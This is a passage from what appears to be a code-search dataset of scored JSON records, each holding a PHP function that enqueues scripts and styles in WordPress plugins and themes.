'mb-tooltip', $url . 'css/tooltip.css', '', '1.1.2' );\n\t\t\twp_enqueue_script( 'popper', $url . 'js/popper.min.js', array(), '1.15.0', true );\n\t\t\twp_enqueue_script( 'tippy', $url . 'js/tippy.min.js', array( 'popper' ), '4.3.1', true );\n\t\t\twp_enqueue_script( 'mb-tooltip', $url . 'js/tooltip.js', array( 'jquery', 'tippy' ), '1.1.2', true );\n\t\t}", "title": "" }, { "docid": "ef89572593489d884467e469e3301d46", "score": "0.56602114", "text": "public function enqueue_frontend_assets() {\n\t\t$min = (defined('SCRIPT_DEBUG') && SCRIPT_DEBUG) ? '' : '.min';\n\n\t\twp_enqueue_script(\n\t\t\t'pb-accordion-blocks-frontend-script',\n\t\t\tplugins_url(\"js/accordion-blocks$min.js\", __FILE__),\n\t\t\tarray('jquery'),\n\t\t\t$this->plugin_version,\n\t\t\ttrue\n\t\t);\n\t}", "title": "" }, { "docid": "b17eab3e7b76aa271800dc6666adfb41", "score": "0.5656657", "text": "public function enqueue() {\n \t// Actual enqueues, note the files are in the js and css folders\n \t// For scripts, make sure you are including the relevant dependencies (jquery in this case)\n \twp_enqueue_script('descriptive-name', plugins_url('js/somefile.js', __FILE__), array('jquery'), '1.0', true);\n \twp_enqueue_style('other-descriptive-name', plugins_url('css/somefile.css', __FILE__), null, '1.0');\n\n // Sometimes you want to have access to data on the front end in your Javascript file\n // Getting that requires this call. Always go ahead and include ajaxurl. Any other variables,\n // add to the array.\n // Then in the Javascript file, you can refer to it like this: externalName.someVariable\n wp_localize_script( 'descriptive-name', 'externalName', array(\n 'ajaxurl' => admin_url('admin-ajax.php'),\n 'someVariable' => 'These are my socks'\n ));\n\n }", "title": "" }, { "docid": "fb0b9df7fd3417a4fb7f13fb2cca155b", "score": "0.56271666", "text": "public function defineAssetPublishing()\n {\n $this->publishes(\n [\n __DIR__.'/../public' => public_path('vendor/server-dashboard'),\n ],\n 'server-dashboard-assets'\n );\n }", "title": "" }, { "docid": "e018749bf4f3ba4805e3168874f1cb47", "score": "0.56092894", "text": "public function enqueue() {\n\n\t\t\twp_enqueue_script(\n\t\t\t\t'redux-field-image-select-js',\n\t\t\t\tReduxCore::$_url . 'inc/fields/image_select/field_image_select' . Redux_Functions::isMin() . '.js',\n\t\t\t\tarray( 'jquery', 'redux-js' ),\n\t\t\t\t$this->timestamp,\n\t\t\t\ttrue\n\t\t\t);\n\n\t\t\tif ( $this->parent->args['dev_mode'] ) {\n\t\t\t\twp_enqueue_style(\n\t\t\t\t\t'redux-field-image-select-css',\n\t\t\t\t\tReduxCore::$_url . 'inc/fields/image_select/field_image_select.css',\n\t\t\t\t\tarray(),\n\t\t\t\t\t$this->timestamp,\n\t\t\t\t\t'all'\n\t\t\t\t);\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "6837b7a57d7247b80f0ac452be9cff1a", "score": "0.56086886", "text": "function wst_enqueue_styles(){\n//\tProd css mode: autocompile\n\n//\t Enqueue uikit overwrite theme folder\n\t\tbeans_uikit_enqueue_theme( 'beans_child', CHILD_URL . '/assets/less/initial-theme' );\n//Add the theme style as a uikit fragment to have access to all the variables\n\t\tbeans_compiler_add_fragment( 'uikit', array(\n\t\t\tCHILD_URL . '/assets/less/partials/fonts.less',\n\t\t\tCHILD_URL . '/assets/less/mymixins.less',\n\t\t\tCHILD_URL . '/assets/less/partials/default.less',\n\t\t\tCHILD_URL . '/assets/less/partials/typo.less',\n\t\t\tCHILD_URL . '/assets/less/partials/header.less',\n\t\t\tCHILD_URL . '/assets/less/partials/footer.less',\n\t\t\tCHILD_URL . '/assets/less/partials/nav.less',\n\t\t\tCHILD_URL . '/assets/less/partials/sidebar.less',\n\t\t\tCHILD_URL . '/assets/less/partials/widgets.less',\n\t\t\tCHILD_URL . '/assets/less/partials/content.less',\n\t\t\tCHILD_URL . '/assets/less/partials/pages.less',\n\n\t\t), 'less' );\n\n\n}", "title": "" }, { "docid": "87da1b091141d43c5253ae59c1b04aee", "score": "0.5593236", "text": "public function enqueue_assets() {\n\t\t\twp_enqueue_script( 'amply-lazy-load-images', get_theme_file_uri( 'pluggable/lazyload/js/lazyload.js' ), array(), AMPLY_THEME_VERSION, false );\n\t\t\twp_script_add_data( 'amply-lazy-load-images', 'defer', true );\n\t\t}", "title": "" }, { "docid": "db53993a8a1b8a6ef9f55267ee16908e", "score": "0.55904526", "text": "public function enqueue()\n {\n wpmvc_enqueue_addon_resource( 'wp-media-uploader' );\n wpmvc_enqueue_addon_resource( 'wpmvc-media' );\n }", "title": "" }, { "docid": "ecefb49ba6c270b9df93e70cd059de48", "score": "0.55876154", "text": "function enqueue_assets() {\n\t\tglobal $publishthis, $current_screen;\n\n\t\twp_register_style ( 'publishthis-logo', $publishthis->plugin_url () . '/assets/css/logo.css', array (), $publishthis->version );\n\t\twp_enqueue_style ( 'publishthis-logo' );\n\n\t\t// Load assets for all screens\n\t\tif ( in_array( $current_screen->id, $this->_screens ) ) {\n\t\t\twp_enqueue_style ( 'publishthis-admin', $publishthis->plugin_url () . '/assets/css/admin.css', array ( 'wp-color-picker' ), $publishthis->version );\n\t\t\n\t\t\twp_enqueue_script ( 'publishthis-admin', $publishthis->plugin_url () . '/assets/js/admin.js', array ( 'jquery', 'wp-color-picker', 'postbox' ), $publishthis->version );\n\t\t\twp_enqueue_script ( 'publishthis-admin-sha', $publishthis->plugin_url () . '/assets/js/lib/jquery.sha256.min.js', array (), $publishthis->version );\n\t\t\t\n\t\t\t// Publishing Actions edit page needs some extra info\n\t\t\tif ( $current_screen->id == $publishthis->post_type ) {\n\t\t\t\twp_localize_script( 'publishthis-admin', 'Publishthis', $this->_class_publishing_action->get_extra_info() );\n\t\t\t}\n\t\t}\n\n\t\t//generate ajax nonce for Settings page\n\t\twp_localize_script(\n\t\t\t'publishthis-admin',\n\t\t\t'publishthis_settings_ajax',\n\t\t\tarray(\n\t\t\t\t'nonce' => wp_create_nonce( 'publishthis_admin_settings_nonce' )\n\t\t\t)\n\t\t);\t\t\n\t\twp_localize_script(\n\t\t\t'publishthis-admin',\n\t\t\t'publishthis_clients_list_ajax',\n\t\t\tarray(\n\t\t\t\t'nonce' => wp_create_nonce( 'publishthis_admin_clients_list_nonce' )\n\t\t\t)\n\t\t);\n\t\twp_localize_script(\n\t\t\t'publishthis-admin',\n\t\t\t'publishthis_select_client_ajax',\n\t\t\tarray(\n\t\t\t\t'nonce' => wp_create_nonce( 'publishthis_admin_select_client_nonce' )\n\t\t\t)\n\t\t);\n\t\twp_localize_script(\n\t\t\t'publishthis-admin',\n\t\t\t'publishthis_client_token_ajax',\n\t\t\tarray(\n\t\t\t\t'nonce' => wp_create_nonce( 'publishthis_admin_client_token_nonce' )\n\t\t\t)\n\t\t);\n\n\t\twp_localize_script(\n\t\t\t'publishthis-admin',\n\t\t\t'publishthis_clear_caches_ajax',\n\t\t\tarray(\n\t\t\t\t'nonce' => wp_create_nonce( 'publishthis_admin_clear_caches_nonce' )\n\t\t\t)\n\t\t);\n\n\t\t//generate ajax nonce for Publishing Action page\n\t\twp_localize_script(\n\t\t\t'publishthis-admin',\n\t\t\t'publishthis_publishing_action_ajax',\n\t\t\tarray(\n\t\t\t\t'nonce' => wp_create_nonce( 'publishthis_admin_publishing_action_nonce' )\n\t\t\t)\n\t\t);\t\t\n\n\t\tif ( $current_screen->id == 'widgets' ) {\n\t\t\twp_enqueue_script ( 'publishthis-admin-widgets', $publishthis->plugin_url () . '/assets/js/admin-widgets.js', array ( 'jquery' ), $publishthis->version );\n\n\t\t\t//generate ajax nonce for widget\n\t\t\twp_localize_script(\n\t\t\t\t'publishthis-admin-widgets',\n\t\t\t\t'publishthis_widgets_ajax',\n\t\t\t\tarray(\n\t\t\t\t\t'nonce' => wp_create_nonce( 'publishthis_admin_widgets_nonce' )\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\t}", "title": "" }, { "docid": "1bd0cbcf711f0bc9a6cf229fdf175838", "score": "0.55789495", "text": "public function enqueue_editor_assets() : void {\n\t\t$plugin_name = basename( IDG_PRODUCTS_DIR );\n\t\t$plugin_dir = WPCOM_VIP_CLIENT_MU_PLUGIN_DIR . '/' . $plugin_name;\n\n\t\twp_enqueue_script(\n\t\t\tself::POST_TYPE_SCRIPT_NAME,\n\t\t\tplugins_url( $plugin_name . '/dist/scripts/' . IDG_PRODUCTS_POST_TYPE_JS, $plugin_dir ),\n\t\t\t[],\n\t\t\tfilemtime( IDG_PRODUCTS_DIR . '/dist/scripts/' . IDG_PRODUCTS_POST_TYPE_JS ),\n\t\t\tfalse\n\t\t);\n\n\t\twp_enqueue_style(\n\t\t\tself::POST_TYPE_STYLE_NAME,\n\t\t\tplugins_url( $plugin_name . '/dist/styles/' . IDG_PRODUCTS_POST_TYPE_CSS, $plugin_dir ),\n\t\t\t[],\n\t\t\tfilemtime( IDG_PRODUCTS_DIR . '/dist/styles/' . IDG_PRODUCTS_POST_TYPE_CSS )\n\t\t);\n\t}", "title": "" }, { "docid": "dbd728f78992c90f06a6dc7811cfd834", "score": "0.5578507", "text": "function webpack_enqueue_scripts() {\n\twp_enqueue_script( 'webpack-script-frontend', plugins_url( 'js/frontend.js', __FILE__ ), array(), WORDPRESS_WEBPACK_STARTER_VERSION );\n\twp_enqueue_style( 'webpack-style-frontend', plugins_url( 'css/frontend.min.css', __FILE__ ), WORDPRESS_WEBPACK_STARTER_VERSION );\n}", "title": "" }, { "docid": "c1b1592eb7c55c4a02e1b5d294afaf33", "score": "0.5574982", "text": "public function enqueue_assets() : void {\n\t\tglobal $post_type;\n\n\t\tif ( 'post' !== $post_type ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$plugin_name = basename( IDG_PUBLISHING_FLOW_DIR );\n\t\t$plugin_dir = WPCOM_VIP_CLIENT_MU_PLUGIN_DIR . '/' . $plugin_name;\n\n\t\twp_enqueue_script(\n\t\t\tself::SCRIPT_NAME,\n\t\t\tplugins_url( $plugin_name . '/dist/scripts/' . IDG_PUBLISHING_FLOW_ADMIN_JS, $plugin_dir ),\n\t\t\t[ 'wp-blocks', 'wp-i18n', 'wp-element', 'wp-plugins', 'wp-edit-post' ],\n\t\t\tfilemtime( IDG_PUBLISHING_FLOW_DIR . '/dist/scripts/' . IDG_PUBLISHING_FLOW_ADMIN_JS ),\n\t\t\tfalse\n\t\t);\n\n\t\twp_localize_script(\n\t\t\tself::SCRIPT_NAME,\n\t\t\t'IDGPublishingFlow',\n\t\t\t[\n\t\t\t\t'statuses' => Statuses::get_status_list(),\n\t\t\t\t'sites' => Sites::get_sites_list(),\n\t\t\t\t'business_units' => Sites::get_business_units_list(),\n\t\t\t\t'is_origin' => Sites::is_origin(),\n\t\t\t\t'origin_url' => Sites::get_origin_url(),\n\t\t\t]\n\t\t);\n\n\t\twp_enqueue_style(\n\t\t\tself::STYLE_NAME,\n\t\t\tplugins_url( $plugin_name . '/dist/styles/' . IDG_PUBLISHING_FLOW_ADMIN_CSS, $plugin_dir ),\n\t\t\t[],\n\t\t\tfilemtime( IDG_PUBLISHING_FLOW_DIR . '/dist/styles/' . IDG_PUBLISHING_FLOW_ADMIN_CSS )\n\t\t);\n\t}", "title": "" }, { "docid": "393d4121704ff8faafef5e8d2f4eade1", "score": "0.55579585", "text": "public function assets() {\n\t\tif ( is_single() && comments_open() && get_option( 'thread_comments' ) ) {\n\t\t\t$this->enqueue_script( 'comment-reply' );\n\t\t}\n\t\t$this->run_scripts();\n\t\t$this->run_styles();\n\t}", "title": "" }, { "docid": "4b0b1a1f6f3cc83ffcdca0fc063e428f", "score": "0.5556415", "text": "public static function action__enqueue_block_editor_assets() {\n\t\t// Ensure this post type supports subscriber manageemnt.\n\t\t$post_type = get_post_type();\n\t\t$post_types = get_option( 'wp_subscriber_management_post_types', [] );\n\t\tif ( ! is_array( $post_types ) || ! in_array( $post_type, $post_types, true ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Enqueue the slotfill JS if it is built.\n if ( file_exists( dirname( __DIR__ ) . '/build/slotfills.tsx.asset.php' ) ) {\n $asset_details = include dirname( __DIR__ ) . '/build/slotfills.tsx.asset.php';\n wp_enqueue_script(\n 'wp-subscriber-management-slotfills',\n plugins_url( 'build/slotfills.tsx.js', __DIR__ ),\n $asset_details['dependencies'] ?? [],\n $asset_details['version'] ?? false,\n true\n );\n }\n }", "title": "" }, { "docid": "afa4cb56d8f37dc740d63721469da44b", "score": "0.5550555", "text": "function enqueue_files() {\r\n\r\n////////////////////////////////////////////////////////\r\n/// CSS\r\n\t$dirCSS = new DirectoryIterator(get_stylesheet_directory() . '/css');\r\n\r\n\tforeach ($dirCSS as $file) {\r\n\r\n\t\tif( pathinfo($file, PATHINFO_EXTENSION) === 'css' ) {\r\n\r\n\t\t\twp_enqueue_style( basename($file, '.css'), (get_template_directory_uri() . '/css/' . basename($file)),\r\n\t\t\t\t\t\t\t false, null );\r\n\t\t}\r\n\r\n\t}\r\n\r\n\r\n////////////////////////////////////////////////////////\r\n/// JAVASCRIPT\r\n\t$dirJS = new DirectoryIterator(get_stylesheet_directory() . '/js');\r\n\r\n\tforeach ($dirJS as $file) {\r\n\r\n\t\tif( pathinfo($file, PATHINFO_EXTENSION) === 'js' ) {\t\t\t\t\t// only get JS files\r\n\r\n\t\t\t$fullName = basename($file);\r\n\t\t\t$name = substr(basename($fullName), 0, strpos(basename($fullName), '.'));\r\n\r\n\r\n\t\t////////////////////////////////////////////////////////\r\n\t\t/// DEPENDENCIES >PHP 5.3\r\n\r\n\r\n\t\t\tswitch($name) {\r\n\r\n\t\t\t\tcase 'main':\r\n\t\t\t\t\t$deps = array('vendor');\tbreak;\r\n\r\n\t\t\t\tdefault:\r\n\t\t\t\t\t$deps = null;\t\t\t\tbreak;\r\n\r\n\t\t\t}\r\n\r\n\r\n\t\t////////////////////////////////////////////////////////\r\n\t\t/// ENQUEUE SCRIPT\r\n\t\t\twp_enqueue_script( $name, get_template_directory_uri() . '/js/' . $fullName, $deps, null, true );\r\n\r\n\r\n\t\t}\r\n\r\n\t}\r\n\r\n\r\n\r\n\r\n////////////////////////////////////////////////////////\r\n/// DEREGISTER JQUERY\r\n\tif( !is_admin() ) {\twp_deregister_script('jquery'); }\r\n\r\n}", "title": "" }, { "docid": "4c089ef95c679d738e02b34cecb0d9e4", "score": "0.5545678", "text": "function shortcode_ui_enqueue_assets() {\n\tShortcode_UI::get_instance()->enqueue();\n}", "title": "" }, { "docid": "a68508008bca338ebc2e27fce5a54fd3", "score": "0.5535562", "text": "function fortyau_starter_theme_scripts() {\n\t$paths = [\n\t\t'public' => get_template_directory_uri() . '/public/',\n\t\t'css' => glob(get_template_directory() . '/public/style.*.css')[0],\n\t\t'js' => glob(get_template_directory() . '/public/index-bundle.*.js')[0],\n\t];\n\n\t// Enqueues bundled styles (entry point /src/sass/style.scss)\n\twp_enqueue_style( 'theme-styles', $paths['public'] . basename($paths['css']));\n\n\t// Enqueues bundled scripts (entry point /src/js/index.js)\n\twp_enqueue_script( 'theme-scripts', $paths['public'] . basename($paths['js']), array('jquery'), false, true );\n\n\tif ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {\n\t\twp_enqueue_script( 'comment-reply' );\n\t}\n}", "title": "" }, { "docid": "515f0d0febed20b7a1526a3721fd42e5", "score": "0.55325127", "text": "public function enqueue_scripts() {\n\n $module_handles = wp_ng_get_active_modules();\n\n foreach ( $module_handles as $module_handle => $module_params ) {\n wp_enqueue_script( $module_handle );\n\n $module_scripts = array_filter($module_params, function($value, $key) {\n return strpos($key, 'script') === 0;\n }, ARRAY_FILTER_USE_BOTH);\n\n foreach ( $module_scripts as $module_script_name => $module_script ) {\n if ( !empty($module_script) ) {\n wp_enqueue_script( $module_script );\n }\n }\n }\n\n //Register script wp-ng\n wp_register_script($this->plugin_name, wp_ng_get_asset_path('scripts/' . $this->plugin_name . '.js'), array('angular'), $this->version, true);\n wp_enqueue_script($this->plugin_name);\n\n }", "title": "" }, { "docid": "52d6570fab294e7ab2340405bea616d9", "score": "0.55308497", "text": "public function enqueue() {\n\n\t\twp_enqueue_script( 'jquery-multi-select', get_parent_theme_file_uri( 'assets/admin/js/jquery.multi-select.js' ), array( 'jquery' ), false, true );\n\t\twp_enqueue_script( 'zeen-control-multi-select', get_parent_theme_file_uri( 'assets/admin/js/zeen-control-multi-select.js' ), array( 'jquery', 'jquery-multi-select' ), false, true );\n\t}", "title": "" }, { "docid": "b000f96466708153ca28a9fc2068c398", "score": "0.55298114", "text": "function test_assets(){\n wp_enqueue_style( \"test\",get_stylesheet_uri(),null,time());\n // wp_enqueue_style( 'bootstrap', '//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css\"' );\n wp_enqueue_style('test-css',get_template_directory_uri().\"/assets/css/vendor/font-awesome.min.css\",null,time());\n wp_enqueue_style('test-css2',get_template_directory_uri().\"/assets/css/vendor/animate.min.css\",null,time());\n wp_enqueue_style('test-css3',get_template_directory_uri().\"/assets/css/vendor/owl.carousel.css\",null,time());\n wp_enqueue_style('test-css4',get_template_directory_uri().\"/assets/css/vendor/owl.transitions.css\",null,time());\n\n wp_enqueue_script('test-js',get_template_directory_uri().\"/assets/js/vendor/modernizr.js\",array(\"jquery\"),time());\n wp_enqueue_script('test-js1',get_template_directory_uri().\"/assets/js/vendor/jquery.js\",array(\"jquery\"),time(),true);\n wp_enqueue_script('test-js2',get_template_directory_uri().\"/assets/js/vendor/grid.js\",array(\"jquery\"),time(),true);\n wp_enqueue_script('test-js3',get_template_directory_uri().\"/assets/js/vendor/owl.carousel.min.js.js\",array(\"jquery\"),time(),true);\n wp_enqueue_script('test-js4',get_template_directory_uri().\"/assets/js/vendor/wow.min.js\",array(\"jquery\"),time(),true);\n wp_enqueue_script('test-js5',get_template_directory_uri().\"/assets/js/vendor/jquery.nav.js\",array(\"jquery\"),time(),true);\n wp_enqueue_script('test-js6',get_template_directory_uri().\"/assets/js/vendor/typed.min.js\",array(\"jquery\"),time(),true);\n wp_enqueue_script('test-js7',get_template_directory_uri().\"/assets/js/vendor/jquery.scrollUp.min.js\",array(\"jquery\"),time(),true);\n wp_enqueue_script('test-js8',get_template_directory_uri().\"/assets/js/vendor/scroll.js\",array(\"jquery\"),time(),true);\n wp_enqueue_script('test-js9',get_template_directory_uri().\"/assets/js/vendor/jquery.sticky.js\",array(\"jquery\"),time(),true);\n wp_enqueue_script('test-js10',get_template_directory_uri().\"/assets/js/vendor/jquery.flexnav.min.js\",array(\"jquery\"),time(),true);\n wp_enqueue_script('test-js11',get_template_directory_uri().\"/assets/js/vendor/masonry.pkgd.min.js\",array(\"jquery\"),time(),true);\n wp_enqueue_script('test-js12',get_template_directory_uri().\"/assets/js/vendor/skrollr.js\",array(\"jquery\"),time(),true);\n wp_enqueue_script('test-js13',get_template_directory_uri().\"/assets/js/script.js\",array(\"jquery\"),time(),true);\n wp_enqueue_script('featherlight-js',\"//cdn.jsdelivr.net/npm/sweetalert2@10\",array('jquery'),time(),true);\n\n}", "title": "" }, { "docid": "d49a3fcb40bdbfdd9c4fd47efd7a5d3a", "score": "0.55089206", "text": "public function register_assets() : void {\n\t\t$plugin_name = basename( IDG_PRODUCTS_DIR );\n\t\t$plugin_dir = WPCOM_VIP_CLIENT_MU_PLUGIN_DIR . '/' . $plugin_name;\n\n\t\twp_register_script(\n\t\t\tself::SCRIPT_NAME,\n\t\t\tplugins_url( \"{$plugin_name}/dist/scripts/\" . IDG_PRODUCTS_PRODUCTS_JS, $plugin_dir ),\n\t\t\t[ 'wp-element', 'wp-url' ],\n\t\t\tfilemtime( IDG_PRODUCTS_DIR . '/dist/scripts/' . IDG_PRODUCTS_PRODUCTS_JS ),\n\t\t\tfalse\n\t\t);\n\n\t\twp_register_style(\n\t\t\tself::STYLE_NAME,\n\t\t\tplugins_url( \"{$plugin_name}/dist/styles/\" . IDG_PRODUCTS_PRODUCTS_CSS, $plugin_dir ),\n\t\t\t[],\n\t\t\tfilemtime( IDG_PRODUCTS_DIR . '/dist/styles/' . IDG_PRODUCTS_PRODUCTS_CSS )\n\t\t);\n\t}", "title": "" }, { "docid": "8894fa29c3d3016873bb7f38cc3959fc", "score": "0.5507204", "text": "public function enqueuePublic()\n {\n// wp_enqueue_script('jquery');\n// wp_enqueue_script('jquery-ui-datepicker');\n// wp_enqueue_script('jquery.datatables', ZKWP_TOOLS_URL . 'public/jquery.dataTables.min.js', array('jquery'));\n// wp_enqueue_script('zkwp_tools', ZKWP_TOOLS_URL . 'public/zkwp_tools.min.js', array('jquery', 'jquery-ui-datepicker'));\n// wp_enqueue_style('zkwp_tools', ZKWP_TOOLS_URL . 'public/zkwp_tools.css');\n }", "title": "" }, { "docid": "d89c0734718c83e29a591eb608860295", "score": "0.5503273", "text": "public static function admin_enqueues() {\n\t\twp_register_script( 'enr-admin', ENR_URL . '/assets/js/admin.js', array( 'jquery', 'wc-backbone-modal' ), _enr()->get_version() ) ;\n\t\twp_register_style( 'enr-admin', ENR_URL . '/assets/css/admin.css', array(), _enr()->get_version() ) ;\n\n\t\twp_localize_script( 'enr-admin', 'enr_admin_params', array(\n\t\t\t'period' => wcs_get_subscription_period_strings(),\n\t\t\t'preview_email_inputs_nonce' => wp_create_nonce( 'enr-collect-preview-email-inputs' ),\n\t\t\t'preview_email_nonce' => wp_create_nonce( 'enr-preview-email' )\n\t\t) ) ;\n\n\t\twp_enqueue_script( 'enr-admin' ) ;\n\t\twp_enqueue_style( 'enr-admin' ) ;\n\t}", "title": "" }, { "docid": "060dd570cae0a11017bc30fe53ad8184", "score": "0.5502777", "text": "public function enqueues() {\n\n\t\t// Remove conflicting scripts.\n\t\twp_deregister_script( 'serialize-object' );\n\t\twp_deregister_script( 'wpclef-ajax-settings' );\n\n\t\tdo_action( 'wpforms_builder_enqueues_before', $this->view );\n\n\t\t$min = wpforms_get_min_suffix();\n\n\t\t/*\n\t\t * CSS.\n\t\t */\n\t\twp_enqueue_style(\n\t\t\t'wpforms-font-awesome',\n\t\t\tWPFORMS_PLUGIN_URL . 'assets/css/font-awesome.min.css',\n\t\t\tnull,\n\t\t\t'4.4.0'\n\t\t);\n\n\t\twp_enqueue_style(\n\t\t\t'tooltipster',\n\t\t\tWPFORMS_PLUGIN_URL . 'assets/css/tooltipster.css',\n\t\t\tnull,\n\t\t\t'4.2.6'\n\t\t);\n\n\t\twp_enqueue_style(\n\t\t\t'jquery-confirm',\n\t\t\tWPFORMS_PLUGIN_URL . 'assets/css/jquery-confirm.min.css',\n\t\t\tnull,\n\t\t\t'3.3.2'\n\t\t);\n\n\t\twp_enqueue_style(\n\t\t\t'minicolors',\n\t\t\tWPFORMS_PLUGIN_URL . 'assets/css/jquery.minicolors.css',\n\t\t\tnull,\n\t\t\t'2.2.6'\n\t\t);\n\n\t\twp_enqueue_style(\n\t\t\t'wpforms-builder-legacy',\n\t\t\tWPFORMS_PLUGIN_URL . 'assets/css/admin-builder.css',\n\t\t\tnull,\n\t\t\tWPFORMS_VERSION\n\t\t);\n\n\t\twp_enqueue_style(\n\t\t\t'wpforms-builder',\n\t\t\tWPFORMS_PLUGIN_URL . \"assets/css/builder{$min}.css\",\n\t\t\tnull,\n\t\t\tWPFORMS_VERSION\n\t\t);\n\n\t\t/*\n\t\t * JavaScript.\n\t\t */\n\t\twp_enqueue_media();\n\t\twp_enqueue_script( 'jquery-ui-sortable' );\n\t\twp_enqueue_script( 'jquery-ui-draggable' );\n\t\twp_enqueue_script( 'wp-util' );\n\n\t\twp_enqueue_script(\n\t\t\t'tooltipster',\n\t\t\tWPFORMS_PLUGIN_URL . 'assets/js/jquery.tooltipster.min.js',\n\t\t\tarray( 'jquery' ),\n\t\t\t'4.2.6'\n\t\t);\n\n\t\twp_enqueue_script(\n\t\t\t'jquery-confirm',\n\t\t\tWPFORMS_PLUGIN_URL . 'assets/js/jquery.jquery-confirm.min.js',\n\t\t\tarray( 'jquery' ),\n\t\t\t'3.3.2'\n\t\t);\n\n\t\twp_enqueue_script(\n\t\t\t'matchheight',\n\t\t\tWPFORMS_PLUGIN_URL . 'assets/js/jquery.matchHeight-min.js',\n\t\t\tarray( 'jquery' ),\n\t\t\t'0.7.0'\n\t\t);\n\n\t\twp_enqueue_script(\n\t\t\t'insert-at-caret',\n\t\t\tWPFORMS_PLUGIN_URL . 'assets/js/jquery.insert-at-caret.min.js',\n\t\t\tarray( 'jquery' ),\n\t\t\t'1.1.4'\n\t\t);\n\n\t\twp_enqueue_script(\n\t\t\t'minicolors',\n\t\t\tWPFORMS_PLUGIN_URL . 'assets/js/jquery.minicolors.min.js',\n\t\t\tarray( 'jquery' ),\n\t\t\t'2.2.6'\n\t\t);\n\n\t\twp_enqueue_script(\n\t\t\t'conditionals',\n\t\t\tWPFORMS_PLUGIN_URL . 'assets/js/jquery.conditionals.min.js',\n\t\t\tarray( 'jquery' ),\n\t\t\t'1.0.0'\n\t\t);\n\n\t\twp_enqueue_script(\n\t\t\t'listjs',\n\t\t\tWPFORMS_PLUGIN_URL . 'assets/js/list.min.js',\n\t\t\tarray( 'jquery' ),\n\t\t\t'1.5.0'\n\t\t);\n\n\t\twp_enqueue_script(\n\t\t\t'wpforms-utils',\n\t\t\tWPFORMS_PLUGIN_URL . 'assets/js/admin-utils.js',\n\t\t\tarray(),\n\t\t\tWPFORMS_VERSION\n\t\t);\n\n\t\twp_enqueue_script(\n\t\t\t'wpforms-builder',\n\t\t\tWPFORMS_PLUGIN_URL . 'assets/js/admin-builder.js',\n\t\t\tarray( 'wpforms-utils', 'wpforms-admin-builder-templates', 'jquery-ui-sortable', 'jquery-ui-draggable', 'tooltipster', 'jquery-confirm' ),\n\t\t\tWPFORMS_VERSION\n\t\t);\n\n\t\twp_enqueue_script(\n\t\t\t'wpforms-admin-builder-templates',\n\t\t\tWPFORMS_PLUGIN_URL . \"assets/js/components/admin/builder/templates{$min}.js\",\n\t\t\tarray( 'wp-util' ),\n\t\t\tWPFORMS_VERSION,\n\t\t\ttrue\n\t\t);\n\n\t\t$strings = array(\n\t\t\t'and' => esc_html__( 'AND', 'wpforms-lite' ),\n\t\t\t'ajax_url' => admin_url( 'admin-ajax.php' ),\n\t\t\t'bulk_add_button' => esc_html__( 'Add New Choices', 'wpforms-lite' ),\n\t\t\t'bulk_add_show' => esc_html__( 'Bulk Add', 'wpforms-lite' ),\n\t\t\t'bulk_add_hide' => esc_html__( 'Hide Bulk Add', 'wpforms-lite' ),\n\t\t\t'bulk_add_heading' => esc_html__( 'Add Choices (one per line)', 'wpforms-lite' ),\n\t\t\t'bulk_add_placeholder' => esc_html__( \"Blue\\nRed\\nGreen\", 'wpforms-lite' ),\n\t\t\t'bulk_add_presets_show' => esc_html__( 'Show presets', 'wpforms-lite' ),\n\t\t\t'bulk_add_presets_hide' => esc_html__( 'Hide presets', 'wpforms-lite' ),\n\t\t\t'date_select_day' => 'DD',\n\t\t\t'date_select_month' => 'MM',\n\t\t\t'debug' => wpforms_debug(),\n\t\t\t'dynamic_choice_limit' => esc_html__( 'The {source} {type} contains over {limit} items ({total}). This may make the field difficult for your visitors to use and/or cause the form to be slow.', 'wpforms-lite' ),\n\t\t\t'cancel' => esc_html__( 'Cancel', 'wpforms-lite' ),\n\t\t\t'ok' => esc_html__( 'OK', 'wpforms-lite' ),\n\t\t\t'close' => esc_html__( 'Close', 'wpforms-lite' ),\n\t\t\t'conditionals_change' => esc_html__( 'Due to form changes, conditional logic rules have been removed or updated:', 'wpforms-lite' ),\n\t\t\t'conditionals_disable' => esc_html__( 'Are you sure you want to disable conditional logic? This will remove the rules for this field or setting.' ),\n\t\t\t'field' => esc_html__( 'Field', 'wpforms-lite' ),\n\t\t\t'field_locked' => esc_html__( 'Field Locked', 'wpforms-lite' ),\n\t\t\t'field_locked_msg' => esc_html__( 'This field cannot be deleted or duplicated.', 'wpforms-lite' ),\n\t\t\t'fields_available' => esc_html__( 'Available Fields', 'wpforms-lite' ),\n\t\t\t'fields_unavailable' => esc_html__( 'No fields available', 'wpforms-lite' ),\n\t\t\t'heads_up' => esc_html__( 'Heads up!', 'wpforms-lite' ),\n\t\t\t'image_placeholder' => WPFORMS_PLUGIN_URL . 'assets/images/placeholder-200x125.png',\n\t\t\t'nonce' => wp_create_nonce( 'wpforms-builder' ),\n\t\t\t'no_email_fields' => esc_html__( 'No email fields', 'wpforms-lite' ),\n\t\t\t'notification_delete' => esc_html__( 'Are you sure you want to delete this notification?', 'wpforms-lite' ),\n\t\t\t'notification_prompt' => esc_html__( 'Enter a notification name', 'wpforms-lite' ),\n\t\t\t'notification_ph' => esc_html__( 'Eg: User Confirmation', 'wpforms-lite' ),\n\t\t\t'notification_error' => esc_html__( 'You must provide a notification name', 'wpforms-lite' ),\n\t\t\t'notification_error2' => esc_html__( 'Form must contain one notification. To disable all notifications use the Notifications dropdown setting.', 'wpforms-lite' ),\n\t\t\t'notification_def_name' => esc_html__( 'Default Notification', 'wpforms-lite' ),\n\t\t\t'confirmation_delete' => esc_html__( 'Are you sure you want to delete this confirmation?', 'wpforms-lite' ),\n\t\t\t'confirmation_prompt' => esc_html__( 'Enter a confirmation name', 'wpforms-lite' ),\n\t\t\t'confirmation_ph' => esc_html__( 'Eg: Alternative Confirmation', 'wpforms-lite' ),\n\t\t\t'confirmation_error' => esc_html__( 'You must provide a confirmation name', 'wpforms-lite' ),\n\t\t\t'confirmation_error2' => esc_html__( 'Form must contain at least one confirmation.', 'wpforms-lite' ),\n\t\t\t'confirmation_def_name' => esc_html__( 'Default Confirmation', 'wpforms-lite' ),\n\t\t\t'save' => esc_html__( 'Save', 'wpforms-lite' ),\n\t\t\t'saving' => esc_html__( 'Saving ...', 'wpforms-lite' ),\n\t\t\t'saved' => esc_html__( 